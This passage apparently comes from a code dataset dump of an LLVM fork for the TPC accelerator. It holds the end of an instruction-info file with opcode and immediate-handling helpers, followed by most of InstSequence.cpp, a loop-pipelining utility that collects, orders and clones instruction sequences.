optype == TPCII::OpType::INT4 );\n return isSigned;\n}\n\nbool TPCMCInstrInfo::isInstTypeSigned(const MCInstrDesc &Desc, const MCInst& MI) {\n // First check if intruction is treated specially\n bool isSpecial;\n bool isSigned = checkDTSpecial(Desc, &isSpecial);\n if (isSpecial)\n return isSigned;\n // Now check the DT operang of the instruction\n TPCII::OpType optype = getOpType(Desc, MI);\n isSigned = (optype == TPCII::OpType::INT32 ||\n optype == TPCII::OpType::INT16 ||\n optype == TPCII::OpType::INT8 ||\n optype == TPCII::OpType::INT4 );\n return isSigned;\n}\n\nbool TPCMCInstrInfo::useImmSlotForImm(const MCOperandInfo &Info, int64_t imm, bool isSigned) {\n if (DisableShortImm || Info.OperandType != TPC::OPERAND_TPC_IMM)\n return true;\n if (!NegativeShortImm && imm < 0)\n return true;\n if (ExtraShortImm)\n return imm > 7 || imm < 0;\n return ((imm > (isSigned ? 7 : 15)) || (imm < (isSigned ? -8 : 0)));\n}\n\nbool TPCMCInstrInfo::isVpuInstrWithSrcCD(unsigned opcode) {\n switch (opcode) {\n default:\n return false;\n\n // New formats for SEL*\n case TPC::SEL_EQvvvvp:\n case TPC::SEL_EQvivvp:\n case TPC::SEL_EQvvvip:\n case TPC::SEL_EQvsvvp:\n case TPC::SEL_EQvvvsp:\n case TPC::SEL_EQvvvvm:\n case TPC::SEL_EQvivvm:\n case TPC::SEL_EQvvvim:\n case TPC::SEL_EQvsvvm:\n case TPC::SEL_EQvvvsm:\n case TPC::SEL_NEQvvvvp :\n case TPC::SEL_NEQvivvp :\n case TPC::SEL_NEQvvvip :\n case TPC::SEL_NEQvsvvp :\n case TPC::SEL_NEQvvvsp :\n case TPC::SEL_NEQvvvvm :\n case TPC::SEL_NEQvivvm :\n case TPC::SEL_NEQvvvim :\n case TPC::SEL_NEQvsvvm :\n case TPC::SEL_NEQvvvsm :\n case TPC::SEL_LESSvvvvp :\n case TPC::SEL_LESSvivvp :\n case TPC::SEL_LESSvvvip :\n case TPC::SEL_LESSvsvvp :\n case TPC::SEL_LESSvvvsp :\n case TPC::SEL_LESSvvvvm :\n case TPC::SEL_LESSvivvm :\n case TPC::SEL_LESSvvvim :\n case TPC::SEL_LESSvsvvm :\n case TPC::SEL_LESSvvvsm :\n case TPC::SEL_LEQvvvvp :\n case TPC::SEL_LEQvivvp :\n case TPC::SEL_LEQvvvip :\n case TPC::SEL_LEQvsvvp :\n case TPC::SEL_LEQvvvsp :\n case TPC::SEL_LEQvvvvm :\n case TPC::SEL_LEQvivvm :\n case TPC::SEL_LEQvvvim :\n case TPC::SEL_LEQvsvvm :\n case TPC::SEL_LEQvvvsm :\n case TPC::SEL_GRTvvvvp :\n case TPC::SEL_GRTvivvp :\n case TPC::SEL_GRTvvvip :\n case TPC::SEL_GRTvsvvp :\n case TPC::SEL_GRTvvvsp :\n case TPC::SEL_GRTvvvvm :\n case TPC::SEL_GRTvivvm :\n case TPC::SEL_GRTvvvim :\n case TPC::SEL_GRTvsvvm :\n case TPC::SEL_GRTvvvsm :\n case TPC::SEL_GEQvvvvp :\n case TPC::SEL_GEQvivvp :\n case TPC::SEL_GEQvvvip :\n case TPC::SEL_GEQvsvvp :\n case TPC::SEL_GEQvvvsp :\n case TPC::SEL_GEQvvvvm :\n case TPC::SEL_GEQvivvm :\n case TPC::SEL_GEQvvvim :\n case TPC::SEL_GEQvsvvm :\n case TPC::SEL_GEQvvvsm :\n\n case TPC::SEL2_LESSvvvvp :\n case TPC::SEL2_LESSvivvp :\n case TPC::SEL2_LESSvvvip :\n case TPC::SEL2_LESSvsvvp :\n case TPC::SEL2_LESSvvvsp :\n case TPC::SEL2_LESSvvvvm :\n case TPC::SEL2_LESSvivvm :\n case TPC::SEL2_LESSvvvim :\n case TPC::SEL2_LESSvsvvm :\n case TPC::SEL2_LESSvvvsm :\n case TPC::SEL2_LEQvvvvp :\n case TPC::SEL2_LEQvivvp :\n case TPC::SEL2_LEQvvvip :\n case TPC::SEL2_LEQvsvvp :\n case TPC::SEL2_LEQvvvsp :\n case TPC::SEL2_LEQvvvvm :\n case TPC::SEL2_LEQvivvm :\n case TPC::SEL2_LEQvvvim :\n case TPC::SEL2_LEQvsvvm :\n case TPC::SEL2_LEQvvvsm :\n case TPC::SEL2_GRTvvvvp :\n case TPC::SEL2_GRTvivvp :\n case TPC::SEL2_GRTvvvip :\n case TPC::SEL2_GRTvsvvp :\n case TPC::SEL2_GRTvvvsp :\n case TPC::SEL2_GRTvvvvm :\n case TPC::SEL2_GRTvivvm :\n case TPC::SEL2_GRTvvvim :\n case TPC::SEL2_GRTvsvvm :\n case TPC::SEL2_GRTvvvsm :\n case TPC::SEL2_GEQvvvvp :\n case TPC::SEL2_GEQvivvp :\n case TPC::SEL2_GEQvvvip :\n case TPC::SEL2_GEQvsvvp :\n case TPC::SEL2_GEQvvvsp :\n case TPC::SEL2_GEQvvvvm :\n case TPC::SEL2_GEQvivvm :\n case TPC::SEL2_GEQvvvim :\n case TPC::SEL2_GEQvsvvm :\n case TPC::SEL2_GEQvvvsm :\n\n case TPC::FORM_FP_NUMvvvp:\n case TPC::FORM_FP_NUMvvvm:\n case TPC::FORM_FP_NUMsvvp:\n case TPC::FORM_FP_NUMsvvm:\n case TPC::FORM_FP_NUMivvp:\n case TPC::FORM_FP_NUMivvm:\n\n case TPC::MOV_DUAL_GROUPp:\n case TPC::MOV_DUAL_GROUPm:\n case TPC::MOV_DUAL_GROUP_ALLp:\n case TPC::MOV_DUAL_GROUP_ALLm:\n\n // New formats for MSAC\n case TPC::MSACvvvvp :\n case TPC::MSACvivvp :\n case TPC::MSACvvvip :\n case TPC::MSACvsvvp :\n case TPC::MSACvvvsp :\n case TPC::MSACvvvvm :\n case TPC::MSACvivvm :\n case TPC::MSACvvvim :\n case TPC::MSACvsvvm :\n case TPC::MSACvvvsm :\n return true; \n }\n}\n \n//\n// Bundle support\n//\nbool TPCMCInstrInfo::isBundle(MCInst const &MCI) {\n auto Result = (TPC::BUNDLE == MCI.getOpcode());\n return Result;\n}\n\niterator_range<MCInst::const_iterator>\nTPCMCInstrInfo::bundleInstructions(MCInst const &MCI) {\n assert(isBundle(MCI));\n return make_range(MCI.begin() + bundleInstructionsOffset, MCI.end());\n}\n\nsize_t TPCMCInstrInfo::bundleSize(MCInst const &MCI) {\n if (TPCMCInstrInfo::isBundle(MCI))\n return (MCI.size() - bundleInstructionsOffset);\n else\n return (1);\n}\n\nMCInst TPCMCInstrInfo::createBundle() {\n MCInst Result;\n Result.setOpcode(TPC::BUNDLE);\n Result.addOperand(MCOperand::createImm(0));\n return Result;\n}\n//\n// End of Bundle support\n//\n\n}\n" }, { "alpha_fraction": 0.6034330129623413, "alphanum_fraction": 0.6040652394294739, "avg_line_length": 34.58380126953125, "blob_id": "5b22f6c3539783c3721821c1ad5208905c48ac81", "content_id": "f25b031f88e660c7af1d29854c7ac9c4ec72122a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 31634, "license_type": "permissive", "max_line_length": 85, "num_lines": 889, "path": "/llvm/lib/Transforms/Scalar/InstSequence.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- InstSequence.cpp ---------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------===//\n// \n//===-------------------------------------------------------------------------===//\n\n#include \"InstSequence.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"loop-swp\"\n\nvoid InstSequence::debugDump(std::string Indent) {\n LLVM_DEBUG(\n INSTSEQ_DEBUG(Indent << \"[-- DumpBegin --]\");\n INSTSEQ_DEBUG(Indent << \"Load/Store : \" << *PivotInst);\n INSTSEQ_DEBUG(Indent << \"Pivot BlockType : \"\n << TPCOptUtils::getBasicBlockStr(PivotBT));\n INSTSEQ_DEBUG(\n Indent << \"BasicBlock : \"\n << TPCOptUtils::getLoopBlock(WorkingLoop, PivotBT)->getName());\n INSTSEQ_DEBUG(Indent << \"Sequence : {\");\n\n if (isInsertionFrozen()) {\n for (auto I : InstSeqVec)\n INSTSEQ_DEBUG(Indent << \"\\t\" << *I);\n } else {\n for (auto I : InstSeqSet)\n INSTSEQ_DEBUG(Indent << \"\\t\" << *I);\n } INSTSEQ_DEBUG(Indent << \"}\");\n INSTSEQ_DEBUG(Indent << \"Phi Insts : {\");\n for (auto Phi\n : PhiInstsSet) INSTSEQ_DEBUG(Indent << \"\\t\" << *Phi);\n INSTSEQ_DEBUG(Indent << \"}\");\n Instruction *InductionDerived = derivesOnlyInduction();\n if (InductionDerived) {\n INSTSEQ_DEBUG(Indent << \"InductionDerived = \" << *InductionDerived);\n } else {\n INSTSEQ_DEBUG(Indent << \"InductionDerived = nullptr\");\n }\n INSTSEQ_DEBUG(Indent << \"IsEmpty : \" << isEmpty());\n INSTSEQ_DEBUG(Indent << \"HasAddMask : \" << hasAddMask());\n INSTSEQ_DEBUG(Indent << \"FreezeInsertion : \" << isInsertionFrozen());\n INSTSEQ_DEBUG(Indent << \"FreezeOrdering : \" << isOrderingFrozen());\n INSTSEQ_DEBUG(Indent << \"IsClone : \" << isClone());\n INSTSEQ_DEBUG(Indent << \"IsCoordSeq : \" << isCoordSeq());\n INSTSEQ_DEBUG(Indent << \"IsDerived : \" << isDerived());\n INSTSEQ_DEBUG(Indent << \"IsDerivedFromLoad : \" << isDerivedFromLoad());\n INSTSEQ_DEBUG(Indent << \"[-- DumpEnd --]\"));\n}\n\nvoid InstSequence::init(bool SkipToClone, std::string Indent) {\n std::string DebugTag = \"<initInstSequence> \" + Indent;\n if (isInitialized()) {\n INSTSEQ_DEBUG(DebugTag << \"Already initialized, nothing to do ...\")\n return;\n }\n\n auto It = InstSeqMap.find(getPivotInst());\n if (It != InstSeqMap.end()) {\n INSTSEQ_DEBUG(\n DebugTag << \"Pivot Inst is already associated with an InstSeq :\")\n It->second->debugDump(Indent + \"\\t\");\n assert(It->second->isCoordSeq() && !isCoordSeq() &&\n \"Pivot insts must be mapped to CoordSeq objects alone\");\n } else {\n INSTSEQ_DEBUG(DebugTag << \"Pivot Inst not associated with any InstSeq yet\")\n assert(isCoordSeq() &&\n \"CoordSeq objects must be populated before Income-Pred Seq\");\n INSTSEQ_DEBUG(DebugTag << \"Inserting into InstSeqMap ...\")\n InstSeqMap.insert(std::make_pair(getPivotInst(), this));\n }\n\n // if the Sequence object is being initialized for cloning without population\n // and ordering\n if (SkipToClone) {\n freezeInsertion();\n freezeOrdering();\n }\n\n setIsInitialized();\n}\n\nbool InstSequence::insertIntoSequence(Instruction *I, std::string Indent) {\n std::string DebugTag = \"<insertIntoSequence> \" + Indent;\n INSTSEQ_DEBUG(DebugTag << \"inserting into sequence : \")\n INSTSEQ_DEBUG(DebugTag << *I)\n\n if (isOrderingFrozen()) {\n INSTSEQ_DEBUG(DebugTag << \"Insertion not allowed now, exiting ...\")\n return false;\n }\n\n auto It = InstSeqMap.find(I);\n if (It != InstSeqMap.end()) {\n INSTSEQ_DEBUG(\n DebugTag << \"Instruction already belongs to a INSTSEQ, exiting ...\")\n return false;\n }\n\n if (isa<PHINode>(I)) {\n INSTSEQ_DEBUG(DebugTag << \"(Phi node collected)\")\n PhiInstsSet.insert(I);\n }\n\n if (HasAddMask ||\n TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_add_mask)) {\n INSTSEQ_DEBUG(DebugTag << \"AddMask type instruction inserted.\")\n HasAddMask = true;\n }\n InstSeqSet.insert(I);\n setNotEmpty();\n\n InstSeqMap.insert(std::make_pair(I, this));\n\n return true;\n}\n\nInstruction *InstSequence::getRefInst() {\n Instruction *RefInst = nullptr;\n Instruction *Pivot = getPivotInst();\n if (isCoordSeq()) {\n RefInst = cast<Instruction>(Pivot->getOperand(0));\n } else {\n for (unsigned OpIdx = 0; OpIdx < Pivot->getNumOperands(); OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(Pivot->getOperand(OpIdx))) {\n if (OpDef->getParent() != getPivotBlock())\n continue;\n RefInst = OpDef;\n break;\n }\n }\n }\n\n return RefInst;\n}\n\nbool InstSequence::crawlOperands(Instruction *I, InstInstMapType &InstUpdateMap,\n std::string Indent) {\n std::string DebugTag = \"<crawlOperands> \" + Indent;\n INSTSEQ_DEBUG(DebugTag << \"Crawling over operands of instruction :\")\n INSTSEQ_DEBUG(DebugTag << *I)\n\n if (I != getPivotInst()) {\n auto It = InstSeqMap.find(I);\n if (It != InstSeqMap.end()) {\n auto OtherInstSeq = It->second;\n if (OtherInstSeq == this) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Nothing to do, instruction already visited, continuing ...\")\n return true;\n } else {\n setDerived(OtherInstSeq->getPivotInst());\n\n // boundary conflict: CoordSeq has to be standalone and not dependant on\n // Income-Predicate sequence\n // this restriction is imposed for now to avoid cycle in the DAG\n if (isCoordSeq() && !OtherInstSeq->isCoordSeq()) {\n INSTSEQ_DEBUG(DebugTag\n << \"Pattern not supported : instruction belongs\"\n \" to a Coord sequence as well as an \"\n \"Income-Predicate sequence, exiting ...\")\n return false;\n }\n\n if (OtherInstSeq->isLoadPivot() || OtherInstSeq->isDerivedFromLoad())\n setDerivedFromLoad(OtherInstSeq->getPivotInst());\n\n // a pivot instruction can have two sequences - coord and income-pred\n // if two seq.s belong to the same pivot inst, then both cannot be\n // coord sequences or income-pred sequences together\n if (OtherInstSeq->getPivotInst() == getPivotInst() &&\n (OtherInstSeq->isCoordSeq() == isCoordSeq())) {\n INSTSEQ_DEBUG(DebugTag\n << \"Duplicate Coord/Income-Pred sequences, exiting ...\")\n return false;\n } else {\n if (OtherInstSeq->isLoadPivot()) {\n DerivesOnlyInduction &= (InductionInsts.find(I) != InductionInsts.end());\n if (DerivesOnlyInduction) {\n // if an Induction Inst is visited already\n if (DerivedInductionStep) {\n // second Induction derivation not supported\n if (I != DerivedInductionStep) {\n DerivedInductionStep = nullptr;\n DerivesOnlyInduction = false;\n }\n } else {\n // remember the newly discovered derived Induction\n DerivedInductionStep = I;\n }\n } else {\n // ensure the derived Induction is reset in case it was set earlier\n DerivedInductionStep = nullptr;\n }\n }\n\n INSTSEQ_DEBUG(DebugTag\n << \"Nothing to do, instruction already belongs to \"\n \"another INSTSEQ, continuing ...\")\n return true;\n }\n }\n }\n\n if (!insertIntoSequence(I, Indent)) {\n INSTSEQ_DEBUG(DebugTag << \"Inst insertion failed, exiting ...\")\n return false;\n }\n\n // dont crawl over the operands of the phi nodes\n if (isa<PHINode>(I))\n return true;\n }\n\n // crawl over instruction's operands\n unsigned StartOpIdx = 0;\n unsigned EndOpIdx = I->getNumOperands();\n if (I == getPivotInst()) {\n if (isCoordSeq())\n EndOpIdx = 1;\n else\n StartOpIdx = 1;\n }\n for (unsigned OpIdx = StartOpIdx; OpIdx < EndOpIdx; OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(I->getOperand(OpIdx))) {\n INSTSEQ_DEBUG(DebugTag << \"OpIdx = \" << OpIdx)\n INSTSEQ_DEBUG(DebugTag << \"OpDef = \" << *OpDef)\n // values defined outside the pivot basic block\n if (OpDef->getParent() != I->getParent()) {\n INSTSEQ_DEBUG(DebugTag\n << \"Reached a different BasicBlock, continuing ...\")\n continue;\n }\n if (!crawlOperands(OpDef, InstUpdateMap, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(DebugTag << \"Crawling over operands failed, exiting ...\")\n return false;\n }\n }\n }\n\n return true;\n}\n\nbool InstSequence::crawlOperands(InstInstMapType &InstUpdateMap,\n std::string Indent) {\n std::string DebugTag = \"<crawlOperands> \" + Indent;\n\n if (!crawlOperands(getPivotInst(), InstUpdateMap, Indent)) {\n INSTSEQ_DEBUG(DebugTag << \"Recursive crawling failed, exiting ...\")\n return false;\n }\n\n return true;\n}\n\nbool InstSequence::populateSequence(InstInstMapType &InstUpdateMap,\n std::string Indent) {\n std::string DebugTag = \"<populateInstSeq> \";\n\n if (!isInitialized()) {\n INSTSEQ_DEBUG(\n DebugTag << \"Sequence object not yet initialized, exiting ...\")\n return false;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"----\")\n INSTSEQ_DEBUG(DebugTag << \"populating Instruction Sequence for Pivot :\")\n INSTSEQ_DEBUG(DebugTag << *getPivotInst())\n INSTSEQ_DEBUG(DebugTag << \"IsCoordSeq = \" << isCoordSeq())\n\n if (isInsertionFrozen()) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Cannot populate sequence : Insertion is frozen, exiting ...\")\n return false;\n }\n\n if (!crawlOperands(InstUpdateMap, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(DebugTag << \"Crawling over operands failed, exiting ...\")\n return false;\n }\n\n freezeInsertion();\n\n if (!createOrderedSequence(Indent + \"\\t\")) {\n INSTSEQ_DEBUG(DebugTag << \"Sequence ordering failed, exiting ...\")\n return false;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"----\")\n\n return true;\n}\n\nbool InstSequence::createOrderedSequence(std::string Indent) {\n std::string DebugTag = \"<createOrderedSequence> \" + Indent;\n INSTSEQ_DEBUG(DebugTag << \"Begin\")\n\n if (!isInsertionFrozen()) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Cannot order sequence : Insertion is not frozen yet, exiting ...\")\n return false;\n }\n if (isOrderingFrozen()) {\n INSTSEQ_DEBUG(\n DebugTag << \"Nothing to do : ordering already done, exiting ...\")\n return true;\n }\n\n // copy to vec\n InstSeqVec.resize(InstSeqSet.size());\n std::copy(InstSeqSet.begin(), InstSeqSet.end(), InstSeqVec.begin());\n\n if (InstSeqSet.size() == 1) {\n freezeOrdering();\n INSTSEQ_DEBUG(DebugTag << \"End\")\n return true;\n }\n\n // level order the instructions in the set\n INSTSEQ_DEBUG(DebugTag << \"Level ordering the Pre-LoadStore sequence\")\n //\n // init levels\n InstNumMapType InstLevelMap;\n for (auto I : InstSeqVec)\n InstLevelMap.insert(std::make_pair(I, 0));\n //\n bool Change = true;\n while (Change) {\n Change = false;\n for (auto I : InstSeqVec) {\n if (isa<PHINode>(I))\n continue;\n unsigned PrevLevel = InstLevelMap[I];\n unsigned MaxLevel = 0;\n // calculate the new level using the operands' level info\n for (unsigned OpIdx = 0; OpIdx < I->getNumOperands(); OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(I->getOperand(OpIdx))) {\n // if operand is outisde pivot BB\n if (OpDef->getParent() != getPivotBlock())\n continue;\n // if operand not in this sequence\n if (InstSeqSet.find(OpDef) == InstSeqSet.end())\n continue;\n\n // graceful exit on unforeseen case\n auto It = InstLevelMap.find(OpDef);\n if (It == InstLevelMap.end()) {\n INSTSEQ_DEBUG(DebugTag << \"\\t\"\n << \"An OpDef : \")\n INSTSEQ_DEBUG(DebugTag << \"\\t\" << *OpDef)\n INSTSEQ_DEBUG(DebugTag << \"\\t\"\n << \"not found in LevelMap, exiting ...\")\n return false;\n }\n MaxLevel = (MaxLevel > It->second) ? MaxLevel : It->second;\n }\n }\n InstLevelMap[I] = MaxLevel + 1;\n Change |= (PrevLevel != InstLevelMap[I]);\n }\n }\n\n // sort the vec in level order\n std::sort(InstSeqVec.begin(), InstSeqVec.end(),\n [&](Instruction *A, Instruction *B) -> bool {\n return (InstLevelMap[A] > InstLevelMap[B]);\n });\n\n freezeOrdering();\n\n INSTSEQ_DEBUG(DebugTag << \"End\")\n return true;\n}\n\nbool InstSequence::clone(InstSequence *CloneSource, InstCloneMapType &CloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt, bool UseInsertIt,\n BlockType Bt, std::string Indent) {\n std::string DebugTag = \"<cloneSequence> \" + Indent;\n\n INSTSEQ_DEBUG(DebugTag << \"cloning from the sequence : \")\n CloneSource->debugDump();\n\n if (!isOrderingFrozen()) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Cloning not allowed until sequence ordering is frozen, exiting ...\")\n return false;\n }\n\n if (Bt == getPivotBT() && isLoadPivot()) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Cloning not allowed for non-store pivot within the same BasicBlock\")\n return false;\n }\n\n if (CloneSource->isLoadPivot()) {\n unfreezeInsertion();\n unfreezeOrdering();\n // clone only the Induction Inst if 'this' seq has store pivot and it\n // derives only the Induction Inst from the Source\n Instruction *CloneOnlyInductionInst = derivesOnlyInduction();\n CloneOnlyInductionInst = !isLoadPivot() ? CloneOnlyInductionInst : nullptr;\n if (!cloneInsts(CloneSource, CloneMap, InsertedInsts, InsertIt, UseInsertIt,\n Bt, CloneOnlyInductionInst, Indent)) {\n INSTSEQ_DEBUG(DebugTag << \"Load - Load/Store cloning failed, exiting ...\")\n freezeInsertion();\n freezeOrdering();\n return false;\n }\n } else if (!isLoadPivot() && !CloneSource->isLoadPivot()) {\n if (Bt != BlockType::Exit) {\n INSTSEQ_DEBUG(DebugTag << \"Store sequences will be cloned only if \"\n \"derived from Load, exiting ...\")\n return false;\n }\n unfreezeInsertion();\n unfreezeOrdering();\n if (!cloneInsts(CloneSource, CloneMap, InsertedInsts, InsertIt, UseInsertIt,\n Bt, nullptr, Indent)) {\n INSTSEQ_DEBUG(DebugTag << \"Store - Store cloning failed, exiting ...\")\n freezeInsertion();\n freezeOrdering();\n return false;\n }\n } else {\n INSTSEQ_DEBUG(DebugTag << \"Derivation from Store to Load sequence is \"\n \"prohibited by design, exiting ...\")\n return false;\n }\n\n if (CloneSource->hasAddMask())\n setHasAddMask();\n\n // both loads and stores can derive from loads\n if (CloneSource->isDerivedFromLoad()) {\n // after cloning, stores will no longer derive from loads\n setDerivedFromLoad(CloneSource->getPivotInst(), isLoadPivot());\n DerivesOnlyInduction = false;\n DerivedInductionStep = nullptr;\n } else { // only stores can derive from stores\n if (CloneSource->isDerived())\n setDerived(CloneSource->getPivotInst());\n }\n setClone();\n\n freezeInsertion();\n createOrderedSequence();\n\n return true;\n}\n\nInstruction *InstSequence::createExitPhi(Instruction *Phi,\n InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts,\n std::string DebugTag) {\n INSTSEQ_DEBUG(DebugTag << \"Creating Exit phi clone ...\")\n\n Instruction *PhiClone = nullptr;\n auto It = InstCloneMap.find(Phi);\n if (It != InstCloneMap.end()) {\n INSTSEQ_DEBUG(DebugTag << \"LCSSA Phi already exists, not cloning ...\")\n InsertedInsts.insert(It->second);\n PhiClone = It->second;\n } else {\n // create Exit Phi for the given Phi of the Header\n PhiClone = Phi->clone();\n }\n\n return PhiClone;\n}\n\nInstruction *InstSequence::createPreheaderPhi(Instruction *Phi,\n BasicBlock *PreheaderBlock,\n InstructionSetType &InsertedInsts,\n std::string DebugTag) {\n INSTSEQ_DEBUG(DebugTag << \"Creating preheader phi clone ...\")\n // create Preheader Phi for the given Phi of the Header\n Instruction *PhiClone = nullptr;\n // get the Phi's incoming value from Preheader\n Value *PreheaderValue =\n (cast<PHINode>(Phi))->getIncomingValueForBlock(PreheaderBlock);\n Instruction *PreheaderInst = cast<Instruction>(PreheaderValue);\n if (PreheaderInst->getParent() != PreheaderBlock) {\n // create the Preheader clone\n INSTSEQ_DEBUG(DebugTag << \"Preheader clone phi does not exist, cloning ...\")\n auto *InstClonePN = PHINode::Create(PreheaderValue->getType(), 1);\n // TODO: assuming unnecessary PHI nodes will be eliminated later\n // for each predecessor of PreheaderBlock, add the same incoming value\n for (BasicBlock *Pred : predecessors(PreheaderBlock))\n InstClonePN->addIncoming(PreheaderValue, Pred);\n PhiClone = cast<Instruction>(InstClonePN);\n } else {\n INSTSEQ_DEBUG(\n DebugTag << \"Preheader Income Inst already exists, linking ...\")\n PhiClone = PreheaderInst;\n InsertedInsts.insert(PhiClone);\n }\n\n return PhiClone;\n}\n\nvoid InstSequence::insertCloneIntoBlock(Instruction *I,\n InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt,\n bool UseInsertIt, BlockType Bt,\n std::string DebugTag) {\n BasicBlock *BB = TPCOptUtils::getLoopBlock(WorkingLoop, Bt);\n BasicBlock::iterator PhiInsertIt = BB->begin();\n\n // not cloned yet\n auto CloneIt = InstCloneMap.find(I);\n assert(CloneIt != InstCloneMap.end() && \"Cannot insert : no clone found\");\n INSTSEQ_DEBUG(DebugTag << \"IClone = \" << *CloneIt->second)\n\n // already inserted\n auto InsertedInstIt = InsertedInsts.find(CloneIt->second);\n if (InsertedInstIt != InsertedInsts.end())\n return;\n\n bool InsertionFlag = false;\n if (UseInsertIt) { // use caller's custom insertion pt\n InsertionFlag = TPCOptUtils::insertIntoBlock(\n getWorkingLoop(), Bt, CloneIt->second, InsertedInsts, InsertIt,\n PhiInsertIt, DebugTag);\n } else { // use I's position as insertion pt\n BasicBlock::iterator InstInsertIt = I->getIterator();\n InsertionFlag = TPCOptUtils::insertIntoBlock(\n getWorkingLoop(), Bt, CloneIt->second, InsertedInsts, InstInsertIt,\n PhiInsertIt, DebugTag);\n }\n assert(InsertionFlag && \"Incorrect insertion into BB\");\n\n return;\n}\n\n// if I is connected to an Instruction that was cloned earlier, patch those\n// operands\n//\n// e.g: I :\n// %vecins = insertelement(ifmCoords, ...)\n// where, ifmCoords has a clone ifmCoordsClone, we complete the clone to\n// clone connection\n//\n// (Before) :\n// %ifmCoords -----> %vecins\n// [%ifmCoordsClone]\n//\n// (Clone I = %vecins) :\n// %ifmCoords -----> %vecins\n// [%ifmCoordsClone] '--> [%vecinsClone]\n//\n// (Connect clones) :\n// %ifmCoords -----> %vecins\n// [%ifmCoordsClone] -----> [%vecinsClone]\nvoid InstSequence::patchOperandsWithClones(Instruction *I,\n BasicBlock *SourceBlock,\n InstCloneMapType &InstCloneMap,\n std::string DebugTag,\n bool StrictPatch) {\n unsigned StartIdx = 0;\n unsigned EndIdx = I->getNumOperands();\n if (I == getPivotInst()) {\n // For a pivot instruction, the patching is required in either the Coord\n // operand or in the Income-Pred operands\n StartIdx = isCoordSeq() ? StartIdx : 1;\n EndIdx = isCoordSeq() ? 1 : EndIdx;\n }\n\n for (unsigned OpIdx = StartIdx; OpIdx < EndIdx; OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(I->getOperand(OpIdx))) {\n // before\n INSTSEQ_DEBUG(DebugTag << \"\\tOp = \" << *OpDef)\n\n // skip the operands outside the block\n if (OpDef->getParent() != SourceBlock)\n continue;\n\n auto CloneIt = InstCloneMap.find(OpDef);\n if (CloneIt == InstCloneMap.end()) {\n if (!StrictPatch) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Clone not found, patching for this operand skipped ...\")\n INSTSEQ_DEBUG(DebugTag << \"\\tOp' = \" << *I->getOperand(OpIdx))\n continue;\n }\n assert(false && \"Cannot patch the operand without a clone\");\n }\n\n I->setOperand(OpIdx, cast<Value>(CloneIt->second));\n // after\n INSTSEQ_DEBUG(DebugTag << \"\\tOp' = \" << *I->getOperand(OpIdx))\n }\n }\n\n return;\n}\n\nbool InstSequence::cloneInst(Instruction *I, BasicBlock *SourceBlock,\n InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts, BlockType Bt,\n bool ShouldCloneOnlyIndStep, std::string Indent) {\n std::string DebugTag = \"<cloneInst> \" + Indent;\n INSTSEQ_DEBUG(DebugTag << \"Cloning the Instruction : \")\n INSTSEQ_DEBUG(DebugTag << \"I = \" << *I)\n INSTSEQ_DEBUG(\n DebugTag << \"(ShouldCloneOnlyIndStep = \" << ShouldCloneOnlyIndStep << \")\")\n BasicBlock *BB = TPCOptUtils::getLoopBlock(WorkingLoop, Bt);\n\n auto It = InstCloneMap.find(I);\n if (It != InstCloneMap.end()) {\n INSTSEQ_DEBUG(\n DebugTag << \"Already cloned to another sequence, continuing ...\")\n // not good when we want to clone only the Induction Steps\n return !ShouldCloneOnlyIndStep;\n }\n\n // create a clone\n Instruction *IClone = nullptr;\n if (ShouldCloneOnlyIndStep) {\n if (InductionInsts.find(I) == InductionInsts.end()) {\n INSTSEQ_DEBUG(DebugTag\n << \"Instruction is not an Induction step, continuing ...\")\n return false;\n }\n // we need to split only the Induction var connection between the already\n // split load coords and store coords\n IClone = I->clone();\n } else if (isa<PHINode>(I)) {\n if (Bt == BlockType::Preheader)\n IClone = createPreheaderPhi(I, BB, InsertedInsts, DebugTag);\n else if (Bt == BlockType::Exit)\n IClone = createExitPhi(I, InstCloneMap, InsertedInsts, DebugTag);\n else\n IClone = I->clone();\n } else {\n IClone = I->clone();\n }\n\n InstCloneMap.insert(std::make_pair(I, IClone));\n insertIntoSequence(IClone, Indent + \"\\t\");\n\n if (!isa<PHINode>(I)) {\n INSTSEQ_DEBUG(DebugTag << \"Patching the operands of IClone ...\")\n // strict patching is not needed if only Induction Inst is being cloned\n patchOperandsWithClones(IClone, SourceBlock, InstCloneMap, DebugTag,\n !ShouldCloneOnlyIndStep);\n }\n\n return true;\n}\n\nbool InstSequence::cloneInsts(InstSequence *CloneSource,\n InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt, bool UseInsertIt,\n BlockType Bt, Instruction *CloneOnlyInductionInst,\n std::string Indent) {\n std::string DebugTag = \"<cloneInsts> \" + Indent;\n bool IsLoadToStoreClone = (!isLoadPivot() && CloneSource->isLoadPivot());\n if (CloneOnlyInductionInst &&\n (Bt != BlockType::Header || !IsLoadToStoreClone)) {\n INSTSEQ_DEBUG(\n DebugTag << \"Cloning of only InductionInst is allowed to be used only \"\n \"for HeaderBlock's Load to Store clone (coord split)\")\n return false;\n }\n\n auto &InstVec = CloneSource->getInstSeqVec();\n\n 